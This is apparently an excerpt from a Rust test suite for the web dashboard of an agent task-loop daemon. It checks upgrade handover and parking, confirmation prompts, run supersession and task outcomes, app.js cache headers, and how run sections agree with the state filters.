12003 ui.start_loop(None).expect("start");
12004 ui.park_for_upgrade().expect("park");
12005 ui.stop_loop(None, false).expect("stop");
12006 assert!(!handed_over(&home, ui).await);
12007 }
12008
12009 #[tokio::test]
12010 async fn an_idle_loop_stays_stopped_across_the_handover() {
12011 let home = TempDir::new().expect("temp home");
12012 let ui = idle_ui(&home);
12013 ui.park_for_upgrade().expect("park");
12014 assert!(!handed_over(&home, ui).await);
12015
12016 let successor = idle_ui(&home);
12017 assert!(!successor.resume_after_handover(false));
12018 assert!(!successor.loop_view(None).running);
12019 }
12020
12021 #[tokio::test]
12022 async fn a_loop_the_operator_stopped_is_not_resumed() {
12023 let home = TempDir::new().expect("temp home");
12024 let ui = idle_ui(&home);
12025 ui.start_loop(None).expect("start");
12026 ui.stop_loop(None, false).expect("stop");
12027 ui.park_for_upgrade().expect("park");
12028 assert!(!handed_over(&home, ui).await);
12029 }
12030
12031 #[test]
12032 fn only_an_explicit_one_requests_a_resume() {
12033 assert!(!resume_requested(None));
12034 assert!(!resume_requested(Some("0".into())));
12035 assert!(!resume_requested(Some("".into())));
12036 assert!(resume_requested(Some("1".into())));
12037 }
12038
12039 #[test]
12040 fn the_upgrade_button_arms_before_it_restarts_anything() {
12041 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
12044 assert!(APP_JS.contains("Replace the binary and restart?"));
12045 assert!(APP_JS.contains("function confirmed("));
12046 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
12051 assert!(
12055 APP_JS.contains("Parking, then restarting"),
12056 "the button says what it is waiting for"
12057 );
12058 assert!(APP_JS.contains("if (!out.to)"));
12061 }
12062
12063 #[test]
12064 fn stopping_the_loop_arms_but_starting_does_not() {
12065 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
12068 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
12069 assert!(APP_JS.contains("confirmed(button, question)"));
12070 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
12073 assert!(APP_JS.contains("const label = btn.textContent;"));
12074 assert!(!APP_JS.contains("Neither direction is guarded"));
12075 }
12076
12077 #[test]
12078 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
12079 assert!(
12080 APP_JS.contains("state.health.version"),
12081 "the operator wants to know what is running even with nothing newer"
12082 );
12083 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
12084 }
12085
12086 #[test]
12087 fn the_upgrade_button_names_its_destination() {
12088 assert!(
12089 APP_JS.contains("`Update to ${update.to}`"),
12090 "pressing the button should not be a surprise about what it moves to"
12091 );
12092 }
12093
12094 #[test]
12095 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
12096 for stage in ["downloading", "replaced", "parking", "restarting"] {
12097 assert!(
12098 APP_JS.contains(&format!("\"{stage}\"")),
12099 "the phone must be able to tell {stage} apart from the others"
12100 );
12101 }
12102 assert!(APP_JS.contains(".waiting_on"));
12103 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
12108 assert!(APP_JS.contains("reconnects on its own"));
12109 }
12110
12111 #[test]
12112 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
12113 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
12122 ..APP_JS.find("function upgrade(").expect("upgrade")];
12123 assert!(
12124 !body.contains(
12125 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
12126 ),
12127 "a failed upgrade must not take the whole strip over the way it used to"
12128 );
12129 assert!(
12130 body.contains("upgradeFailNote"),
12131 "the failure has to reach the loop's own note instead"
12132 );
12133 assert_eq!(
12137 body.matches("upgradeFailNote].filter(Boolean).join")
12138 .count(),
12139 2,
12140 "both loop-why writers (quiet and control) must fold the note in"
12141 );
12142 }
12143
12144 #[test]
12145 fn an_overdue_upgrade_eventually_asks_for_a_human() {
12146 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
12149 assert!(APP_JS.contains("function upgradeOverdue("));
12150 }
12151
12152 #[test]
12153 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
12154 assert!(
12155 APP_JS.contains("Updated to ${upgradeInfo.to"),
12156 "the operator who asked for the restart wants to know it worked"
12157 );
12158 }
12159
12160 #[test]
12161 fn an_error_is_visible_from_where_the_button_is() {
12162 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
12167 ..APP_CSS.find(".alert-text").expect(".alert-text")];
12168 assert!(
12169 alert.contains("position: fixed"),
12170 "an error about the thing under your thumb has to be visible from \
12171 where your thumb is: {alert}"
12172 );
12173 assert!(
12174 alert.contains("z-index: 25"),
12175 "above the dock (20) and the run-actions FAB (15), so neither \
12176 buries it: {alert}"
12177 );
12178 assert!(
12179 alert.contains("var(--tap)"),
12180 "and clear of the dock and the home indicator: {alert}"
12181 );
12182 assert!(
12185 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
12186 "the FAB's column stays free: {alert}"
12187 );
12188 }
12189
12190 #[tokio::test]
12191 async fn an_older_attempt_says_what_replaced_it() {
12192 let fx = Fixture::start().await;
12193 let q = fx.queue();
12194 let runs = fx.runs();
12195 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
12196 write_run(&runs, first, RunStatus::Stalled);
12197 write_run(&runs, second, RunStatus::Blocked);
12198
12199 let mut t = Task::new(
12200 "one task".to_owned(),
12201 "do it".to_owned(),
12202 PathBuf::from("/repo"),
12203 Source::Human,
12204 );
12205 t.runs = vec![first.to_owned(), second.to_owned()];
12206 q.put(&mut t).expect("put");
12207
12208 let rows = fx.get("/api/runs").await.json();
12212 let by = |short: &str| -> Value {
12213 rows.as_array()
12214 .unwrap()
12215 .iter()
12216 .find(|r| r["short"] == short)
12217 .cloned()
12218 .unwrap_or(Value::Null)
12219 };
12220 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
12221 assert!(
12222 by("bbbb")["superseded_by"].is_null(),
12223 "the latest attempt is not superseded by anything"
12224 );
12225 assert!(APP_JS.contains("run.superseded_by"));
12227 assert!(APP_JS.contains("Superseded by"));
12228 }
12229
12230 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
12231 let mut t = Task::new(
12232 "one task".to_owned(),
12233 "do it".to_owned(),
12234 PathBuf::from("/repo"),
12235 Source::Human,
12236 );
12237 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12238 t.status = status;
12239 t
12240 }
12241
12242 #[tokio::test]
12243 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
12244 let fx = Fixture::start().await;
12245 let runs = fx.runs();
12246 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
12247 write_run(&runs, old, RunStatus::Blocked);
12248 write_run(&runs, new, RunStatus::Merged);
12249 let mut t = outcome_task(&[old, new], TaskStatus::Done);
12250 fx.queue().put(&mut t).expect("put");
12251
12252 let view = fx.get(&format!("/api/runs/{old}")).await.json();
12253 let task = &view["task"];
12254 assert_eq!(task["status"], "done");
12255 assert_eq!(task["is_latest"], false);
12256 assert_eq!(task["latest"]["short"], "bbbb");
12257 assert_eq!(task["finished_by"]["id"], new);
12258 assert_eq!(task["finished_by"]["outcome"], "merged");
12259 assert_eq!(task["closed_by_hand"], false);
12260 assert_eq!(view["status"], "blocked", "the run keeps its own status");
12261 assert!(APP_JS.contains("finished_by"));
12262 assert!(APP_JS.contains("superseded by run"));
12263 }
12264
12265 #[tokio::test]
12266 async fn the_latest_run_reports_a_held_task_without_a_successor() {
12267 let fx = Fixture::start().await;
12268 let runs = fx.runs();
12269 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
12270 write_run(&runs, old, RunStatus::Stalled);
12271 write_run(&runs, new, RunStatus::Blocked);
12272 let mut t = outcome_task(&[old, new], TaskStatus::Held);
12273 fx.queue().put(&mut t).expect("put");
12274
12275 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
12276 assert_eq!(task["status"], "held");
12277 assert_eq!(task["is_latest"], true);
12278 assert!(task["latest"].is_null());
12279 assert!(task["finished_by"].is_null());
12280 assert_eq!(task["closed_by_hand"], false);
12281 }
12282
12283 #[tokio::test]
12284 async fn a_direct_run_has_no_task_outcome() {
12285 let fx = Fixture::start().await;
12286 let runs = fx.runs();
12287 let id = "20260901-000000-aaaa";
12288 write_run(&runs, id, RunStatus::Blocked);
12289 let view = fx.get(&format!("/api/runs/{id}")).await.json();
12290 assert!(view["task"].is_null());
12291 }
12292
12293 #[test]
12294 fn task_outcome_does_not_guess_a_finishing_run() {
12295 let a = "20260901-000000-aaaa";
12296 let b = "20260901-000000-bbbb";
12297 let c = "20260901-000000-cccc";
12298 let dir = tempfile::tempdir().expect("tempdir");
12299 write_run(dir.path(), a, RunStatus::Blocked);
12300 write_run(dir.path(), b, RunStatus::VerifiedNoop);
12301 let read = |id: &str| read_run(dir.path(), id).ok();
12303 let t = outcome_task(&[a, b, c], TaskStatus::Done);
12306 let out = task_outcome(&t, a, 3, read);
12307 assert!(out.finished_by.is_none());
12308 assert!(out.closed_by_hand);
12309 let latest = out.latest.expect("latest");
12310 assert_eq!(latest.id, c);
12311 assert_eq!(latest.status, None);
12312 assert_eq!(latest.outcome, "record unreadable");
12313
12314 write_run(dir.path(), c, RunStatus::Ready);
12316 let t = outcome_task(&[a, c], TaskStatus::Done);
12317 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
12318 assert_eq!(out.finished_by.expect("finisher").id, c);
12319 assert!(!out.closed_by_hand);
12320
12321 let t = outcome_task(&[a, b, a], TaskStatus::Held);
12323 assert!(task_outcome(&t, a, 3, read).is_latest);
12324 }
12325
12326 #[tokio::test]
12327 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
12328 let fx = Fixture::start().await;
12333 let q = fx.queue();
12334 let runs = fx.runs();
12335 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
12336 write_run(&runs, first, RunStatus::Blocked);
12337 write_run(&runs, second, RunStatus::Merged);
12338
12339 let mut t = Task::new(
12340 "one task".to_owned(),
12341 "do it".to_owned(),
12342 PathBuf::from("/repo"),
12343 Source::Human,
12344 );
12345 t.runs = vec![first.to_owned(), second.to_owned()];
12346 q.put(&mut t).expect("put");
12347
12348 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
12349 assert_eq!(earlier["superseded_by"], "dddd");
12350 assert_eq!(earlier["latest_attempt"]["id"], second);
12351 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
12352 assert_eq!(
12353 earlier["latest_attempt"]["resolved"], true,
12354 "the run that replaced it landed, so this one reads as settled"
12355 );
12356
12357 let later = fx.get(&format!("/api/runs/{second}")).await.json();
12358 assert!(
12359 later["superseded_by"].is_null(),
12360 "the latest attempt is not superseded by anything"
12361 );
12362 assert!(
12363 later["latest_attempt"].is_null(),
12364 "the latest attempt has no later attempt of its own"
12365 );
12366
12367 assert!(APP_JS.contains("run.latest_attempt"));
12374 assert!(APP_JS.contains("data-superseded"));
12375 assert!(APP_JS.contains("#/runs/${latest.id}"));
12376 }
12377
12378 #[tokio::test]
12379 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
12380 let fx = Fixture::start().await;
12386 let q = fx.queue();
12387 let runs = fx.runs();
12388 let (a, b, c) = (
12389 "20260901-000000-aaaa",
12390 "20260901-000000-bbbb",
12391 "20260901-000000-cccc",
12392 );
12393 write_run(&runs, a, RunStatus::Blocked);
12394 write_run(&runs, b, RunStatus::Blocked);
12395 write_run(&runs, c, RunStatus::Merged);
12396
12397 let mut t = Task::new(
12398 "retried twice".to_owned(),
12399 "do it".to_owned(),
12400 PathBuf::from("/repo"),
12401 Source::Human,
12402 );
12403 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
12404 q.put(&mut t).expect("put");
12405
12406 let view = fx.get(&format!("/api/runs/{a}")).await.json();
12407 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
12408 assert_eq!(
12409 view["latest_attempt"]["id"], c,
12410 "the chain's current head, not the intermediate Blocked retry"
12411 );
12412 assert_eq!(view["latest_attempt"]["resolved"], true);
12413
12414 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
12415 assert_eq!(mid["latest_attempt"]["id"], c);
12416 assert_eq!(mid["latest_attempt"]["resolved"], true);
12417 }
12418
12419 #[tokio::test]
12420 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
12421 let fx = Fixture::start().await;
12422 let q = fx.queue();
12423 let runs = fx.runs();
12424
12425 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
12428 write_run(&runs, still_blocked_a, RunStatus::Blocked);
12429 write_run(&runs, still_blocked_b, RunStatus::Blocked);
12430 let mut t1 = Task::new(
12431 "still stuck".to_owned(),
12432 "do it".to_owned(),
12433 PathBuf::from("/repo"),
12434 Source::Human,
12435 );
12436 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
12437 q.put(&mut t1).expect("put");
12438 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
12439 assert_eq!(view1["latest_attempt"]["resolved"], false);
12440 assert_eq!(view1["latest_attempt"]["status"], "blocked");
12441 assert_eq!(view1["latest_attempt"]["done"], true);
12442
12443 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
12445 write_run(&runs, run_a, RunStatus::Blocked);
12446 write_run(&runs, run_b, RunStatus::Implementing);
12447 let mut t3 = Task::new(
12448 "retrying".to_owned(),
12449 "do it".to_owned(),
12450 PathBuf::from("/repo"),
12451 Source::Human,
12452 );
12453 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
12454 q.put(&mut t3).expect("put");
12455 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
12456 assert_eq!(view3["latest_attempt"]["id"], run_b);
12457 assert_eq!(view3["latest_attempt"]["resolved"], false);
12458 assert_eq!(view3["latest_attempt"]["done"], false);
12459
12460 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
12465 write_run(&runs, noop_a, RunStatus::Blocked);
12466 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
12467 let mut t2 = Task::new(
12468 "claims done".to_owned(),
12469 "do it".to_owned(),
12470 PathBuf::from("/repo"),
12471 Source::Human,
12472 );
12473 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
12474 q.put(&mut t2).expect("put");
12475 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
12476 assert_eq!(
12477 view2["latest_attempt"]["resolved"], false,
12478 "an unverified no-op claim must not read as a confirmed finish"
12479 );
12480
12481 assert!(APP_JS.contains("latest.resolved"));
12484 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
12487 assert!(APP_JS.contains("Latest attempt: "));
12488 assert!(APP_JS.contains("in flight"));
12489 assert!(APP_JS.contains("not resolved"));
12490 }
12491
12492 #[tokio::test]
12493 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
12494 let fx = Fixture::start().await;
12495 let js = fx.get("/app.js").await;
12501 assert_eq!(js.status, 200);
12502 let tag = js
12503 .header("etag")
12504 .expect("an etag to revalidate against")
12505 .to_owned();
12506 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
12507 assert_eq!(
12508 js.header("cache-control"),
12509 Some("no-cache, must-revalidate"),
12510 "the phone has to ask every time"
12511 );
12512
12513 let again = fx
12516 .get_with("/app.js", &[("if-none-match", tag.as_str())])
12517 .await;
12518 assert_eq!(
12519 again.status, 304,
12520 "a deck it already has costs one round trip"
12521 );
12522 assert!(again.body.is_empty(), "304 carries no body");
12523
12524 let weak = fx
12527 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
12528 .await;
12529 assert_eq!(weak.status, 304);
12530 let stale = fx
12531 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
12532 .await;
12533 assert_eq!(stale.status, 200, "an older build must be replaced");
12534 assert!(stale.body.contains("renderRunActions"));
12535 }
12536
12537 #[test]
12538 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
12539 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
12540 let actions = INDEX_HTML
12541 .find("id=\"run-actions-box\"")
12542 .expect("actions box");
12543 assert!(task < actions, "the task entry comes first in the sheet");
12544 assert!(APP_JS.contains("renderRunTaskEntry"));
12545 assert!(APP_JS.contains("\"Open task \""));
12546 assert!(APP_JS.contains("started directly, no task"));
12548 assert!(APP_JS.contains("sheet-task-link"));
12549 assert!(APP_JS.contains("task-chip-link"));
12550 }
12551
12552 #[test]
12553 fn the_deck_never_sends_the_operator_to_a_terminal() {
12554 assert!(
12557 !APP_JS.contains("Run `magi fold` first"),
12558 "the deck must offer the fold, not prescribe a shell command"
12559 );
12560 assert!(APP_JS.contains("foldRun:"));
12561 assert!(APP_JS.contains("resumeRun:"));
12562 assert!(APP_JS.contains("renderRunActions"));
12563
12564 assert!(APP_JS.contains("armedFold"));
12566 assert!(APP_JS.contains("Yes, fold worktrees"));
12567
12568 assert!(APP_JS.contains("can no longer be resumed"));
12571 }
12572
12573 #[test]
12574 fn a_finished_run_explains_itself_with_its_own_last_line() {
12575 assert!(
12581 !APP_JS.contains("collapsed on agent quota"),
12582 "a stall must not be explained by a cause the deck did not check"
12583 );
12584 assert!(
12585 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
12586 "and a block must not offer a guess with an `or` in it"
12587 );
12588
12589 assert!(
12593 APP_JS.contains("setText(r.event, run.event || \"\")"),
12594 "the run's last line is rendered unconditionally"
12595 );
12596 assert!(
12597 !APP_JS.contains("moving && run.event"),
12598 "and never gated on the run still moving"
12599 );
12600
12601 assert!(APP_JS.contains("lost to quota"));
12603 }
12604
12605 #[test]
12627 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
12628 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
12629 let shapes_body_start =
12630 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
12631 let shapes_close = APP_JS[shapes_body_start..]
12632 .find("].map(")
12633 .expect("the shape list is closed by its done-computing .map(...)")
12634 + shapes_body_start;
12635 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
12636
12637 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
12638 for entry in shapes_src.split('{').skip(1) {
12639 let waiting = entry.contains("waiting: true");
12640 let dead = entry.contains("live: \"dead\"");
12641 let status_at =
12642 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
12643 let status_end = entry[status_at..]
12644 .find('"')
12645 .expect("the status string is closed")
12646 + status_at;
12647 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
12648 }
12649 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
12650
12651 let done_rule_marker = "done: !";
12655 let done_rule_at = APP_JS[shapes_close..]
12656 .find(done_rule_marker)
12657 .expect("the done rule follows the shape list")
12658 + shapes_close
12659 + done_rule_marker.len();
12660 let includes_at = APP_JS[done_rule_at..]
12661 .find(".includes(shape.status)")
12662 .expect("the done rule ends in .includes(shape.status)")
12663 + done_rule_at;
12664 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
12665 .trim()
12666 .trim_start_matches('[')
12667 .trim_end_matches(']')
12668 .split(',')
12669 .map(|s| s.trim().trim_matches('"'))
12670 .filter(|s| !s.is_empty())
12671 .collect();
12672
12673 let shapes: Vec<(bool, String, bool, bool)> = shapes
12674 .into_iter()
12675 .map(|(waiting, status, dead)| {
12676 let done = !not_done.contains(&status.as_str());
12677 (waiting, status, dead, done)
12678 })
12679 .collect();
12680
12681 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
12685 if waiting {
12686 return "waiting";
12687 }
12688 if dead
12689 && !matches!(
12690 status,
12691 "merged"
12692 | "ready"
12693 | "stalled"
12694 | "blocked"
12695 | "failed"
12696 | "verified_noop"
12697 | "superseded"
12698 | "already_in_base"
12699 )
12700 {
12701 return "stale";
12702 }
12703 match status {
12704 "merged" | "ready" => "landed",
12705 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
12706 | "already_in_base" => "ended",
12707 _ => "flight",
12708 }
12709 }
12710
12711 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
12714 match filter_key {
12715 "active" => !done,
12716 "flight" => !done && !waiting && !dead,
12717 "stale" => !done && !waiting && dead,
12718 "waiting" => waiting,
12719 "done" => done,
12720 "all" => true,
12721 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
12722 }
12723 }
12724
12725 let compatible = |section: &str, filter_key: &str| {
12726 shapes.iter().any(|(waiting, status, dead, done)| {
12727 run_section(*waiting, status, *dead) == section
12728 && filter_matches(filter_key, *waiting, *dead, *done)
12729 })
12730 };
12731
12732 let expected = [
12737 ("waiting", [true, false, false, true, true, true]),
12738 ("stale", [true, false, true, false, false, true]),
12739 ("flight", [true, true, false, false, false, true]),
12740 ("landed", [false, false, false, false, true, true]),
12741 ("ended", [false, false, false, false, true, true]),
12742 ];
12743 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
12744
12745 for (section, wants) in expected {
12746 for (filter_key, want) in filter_keys.iter().zip(wants) {
12747 assert_eq!(
12748 compatible(section, filter_key),
12749 want,
12750 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
12751 );
12752 }
12753 }
12754
12755 assert!(
12758 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
12759 );
12760 assert!(APP_JS.contains(
12761 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
12762 ));
12763 assert!(APP_JS.contains(
12764 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
12765 ));
12766 }
12767
12768 #[tokio::test]
12769 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
12770 let dir = tempfile::tempdir().expect("tempdir");
12774 let explicit = dir.path().join("not-a-checkout");
12775 std::fs::create_dir_all(&explicit).expect("create dir");
12776 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
12777
12778 let missing = dir.path().join("does-not-exist-at-all");
12779 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
12780 }
12781}